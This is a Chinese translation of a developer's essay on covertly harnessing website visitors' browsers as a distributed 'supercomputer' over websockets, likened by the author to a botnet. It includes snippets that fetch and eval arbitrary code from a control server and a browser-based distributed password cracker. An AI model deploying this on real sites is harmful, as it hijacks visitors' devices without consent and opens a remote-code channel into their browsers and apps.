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接收程序员的 8 点技术早餐

作者｜Ben

编辑｜Martin、郭蕾

出处丨聊聊架构

最近比特币大火，区块链大火，昨天就连我一个四线城市的、没怎么接触过互联网的小学同学都焦虑地打电话问我，区块链这波浪潮里他应该怎么挣钱。

聊聊架构之前发布过一系列的文章来介绍区块链技术，想想真有意思，那会阅读量怎么都做不高，但现在，又突然出来很多的区块链媒体。当然，我们也做了一个专注报道区块链技术的公众号：区块链前哨，欢迎大家关注。

之前，我估计很多人都注意到过这样一个新闻，有一些成人网站看到比特币的暴涨之后，开始打起了挖矿的主意。他们在自己网站中偷偷暗藏挖矿代码，而当用户访问这些网站之后，他们就会神不知鬼不觉地迅速运行这些挖矿代码，甚至在用户关闭浏览器之后，相关代码仍然能够继续运行并占用 CPU 资源。

今天这篇是篇翻译文章，作者 Ben 是一名国外的资深开发者。他看到这篇新闻之后，也陷入了沉思。换个角度，如果不是挖矿，而是把全世界的 Web 浏览器通过 websocket 连接在一起，那是不是就可以组成一台“超级计算机”，并利用这个超级计算机解决分布式问题？

于是他开始了新的尝试。聊聊架构对这篇文章进行了翻译，以下是全文。

写在前面

我们将讨论一个具有争议性的话题——如何从网站访客的浏览器中“偷”走计算资源。目前有很多讨论是关于如何利用浏览器来挖掘数字货币的，但我不想加入到这些话题的讨论当中，我只是想探讨一种有效利用计算资源的方式。

Web 浏览器执行代码的能力越来越强大。JavaScript 的发展、WebAssembly 的出现、对 GPU 访问能力的提升和线程模型的演变，这些因素组合在一起，让浏览器与计算机一样具备了强大的计算能力。随着浏览器数字货币挖矿机的崛起，我也在思考这样的一个问题：如何把全世界的计算资源整合成一个单独的实体——一台由网站访客的浏览器组成的超级计算机。

就像普通的计算机集群一样，这台超级计算机的所有计算节点在协调之下共同解决一个问题。但与普通的计算机集群不同的是，这些计算节点时临时性的（随着网站访客的来来去去），而且它们之前无法彼此对话（没有跨站点的请求）。

这是我想到的一个例子：

右边是超级计算机控制服务器。左边是访问某个网站的浏览器，它是这个超级计算机中的一个节点，上面还显示了它的 CPU 指标。

这个超级计算机要解决的问题是找出某个给定哈希值的原始值。从图上可以看出，总共有 23 个节点参与了计算，计算并比对了 380,204,032 个哈希值，其中美国的访客贡献了 50% 的处理能力。

代码实现

这里主要用 websocket 技术在服务器和计算节点之间建立持久连接。这些连接用于协调节点的行为，从而让它们成为相互协作的实体。websocket 可以传输代码和协作消息，让一切都成为可能。

websocket 的出现戏剧性地改变了 Web 客户端的行为。客户端连接到网站上，先执行预先定义好的 JavaScript，等建立起 websocket 连接之后，就可以执行其他任意 JavaScript 脚本。

下图右边是超级计算机控制服务器，左边是接收动态指令的 Web 客户端。

如果一款 App 使用了 WebView，JavaScript 就可以直接跑到 App 中，也就是说，通过 websocket 传输的代码可以跳过 WebView，直接进入 App 的领地。

下图右边是超级计算机控制服务器，左边是接收指令的 Web App。可以看到，指令直接渗透到了 App 层。

剩下的就没有什么新鲜的了。App 可以通过 C&C 协议（Botnet Command and Control）获取指令，网页在初次加载之后就可以动态获得 JavaScript 脚本，而 websocket 具有真正的动态性（不像 Ajax 的轮询拉取模式），可以跨多浏览器和设备运行，而且对运行环境有完全的访问权限。

所以，我们完全可以通过 websocket 向计算节点传输指令代码，当然也可以用来传递消息，实现分布式协调。

Crackzor.js

六年前，我基于 OpenMPI 开发了一款分布式密码破解器（ben.akrin.com/?p=1424），叫作 crackzor。

密码破解是一个非常典型的分布式问题，说起来很简单，就是通过排列组合字符猜出密码。我使用 JavaScript 重写了 crackzor，使用 websocket 替代了 OpenMPI。

不过，每一个分布式问题都是不一样的，crackzor 并不是解决所有问题的良方。crackzor 的魔力在于它的灵活性，它把一个字符排列组合空间拆分成很多个块，再把这些块分摊给计算节点。在给定了要解决的问题以及迭代的起始和结束位置之后，节点就可以开始工作，不需要再为它们提供字符排列组合，这样就不会出现网络带宽瓶颈问题。

第一个问题：如何最大程度利用节点的 CPU

JavaScript 默认使用的是单线程模型，代码通过 websocket 传送到客户端，默认情况下只使用了 CPU 的一个核。而现今的大部分计算机 CPU 都是多核的，所以，我们要想办法把这些 CPU 都利用起来。

于是救星出现了——Web Worker。HTML 5 提供了这一特性，极大简化了多线程的实现。不过，我们还需要解决一个问题。Web Worker 文档告诉我们要从文件加载脚本文件，但我们的代码是通过 websocket 传输过来的，并驻存在内存中，所以我们无法直接通过指定脚本文件的方式来执行代码。

我们通过把代码包装成一个 Blob 对象来解决这个问题：

var worker_code = 'alert( \"this code is threaded on the nodes\" );' window.URL = window.URL || window.webkitURL; var blob; try { blob = new Blob(\\[worker_code\\], {type: 'application/javascript'}); } catch (e) { window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder; blob = new BlobBuilder; blob.append(worker_code); blob = blob.getBlob; } workers.push( new Worker(URL.createObjectURL(blob)) ) ;

第二个问题：在节点间分配任务

Websocket 服务器承担了后续的大部分协调工作，它需要跟踪节点的接入和退出，以及某个节点是否在执行计算任务，并在有可用节点时给它们分配任务。

服务器需要一直处于运行状态，处理来自节点的连接。不过，这台超级计算机可能每天需要解决不同的问题。为此，我写了一个函数用来读取文件，并执行文件中的代码。这个函数通过一个进程来调用。

function eval\\_code\\_from_file { if( !file_exists(\"/tmp/code\") ) { console.log( \"error: file /tmp/code does not exist\" ) ; } else { var code = read_file( \"/tmp/code\" ) ; code = code.toString ; eval( code ) ; } } process.on('SIGUSR1', eval\\_code\\_from_file.bind );

有了这个函数，下一次我就可以杀掉旧进程，然后使用新进程加载新代码。这要归功于 JavaScript 的灵活性，这种灵活性让我们可以在任意时刻运行任意代码，只要对运行环境有完全的访问权限。

要给节点分发任务也很简单，只要让客户端在连接到服务器时注册一个回调函数，然后在回调函数里执行代码即可。

比如客户端：

var websocket_client=io.connect(\"http://websocket_server.domain.com\"); websocket_client.on( \"eval_callback\",function(data){data=atob(data),eval(data)}.bind ) ;

服务器端：

client_socket.emit( \"eval_callback\", new Buffer(\"alert('this code will run on the client');\").toSt

到目前为止：

所有的临时节点（网站用户的 Web 浏览器）连接到 websocket 服务器上；

通过进程信号让 websocket 服务器执行新的代码；

新代码中包含了节点需要解决的新问题；

新代码告诉 websocket 服务器如何协调节点；

一旦某个节点解决了问题，接着处理下一个问题；

现在我们知道了如何利用 Web 浏览器来构建一台超级计算机。出于多方面的考虑，比如可读性、安全性和复杂性方面的问题，我不想把我的代码全部都公开出来。不过，如果有人感兴趣，可以联系我，我很乐意分享跟多的想法。

更多小建议

在拆分任务时，任务不能太大。因为节点都是临时性的，如果任务太重，极有可能发生中断。大部分 Web 浏览器会拒绝执行或终止执行太耗资源的代码，而小任务可以在几秒钟之内就完成，不会被打断。

使用 JavaScript 实现 MD5：https://gist.github.com/josedaniel/951664。

记录节点解决问题所使用的平均时间，把运行缓慢的节点排除在外，以免影响“超级计算机”的整体性能。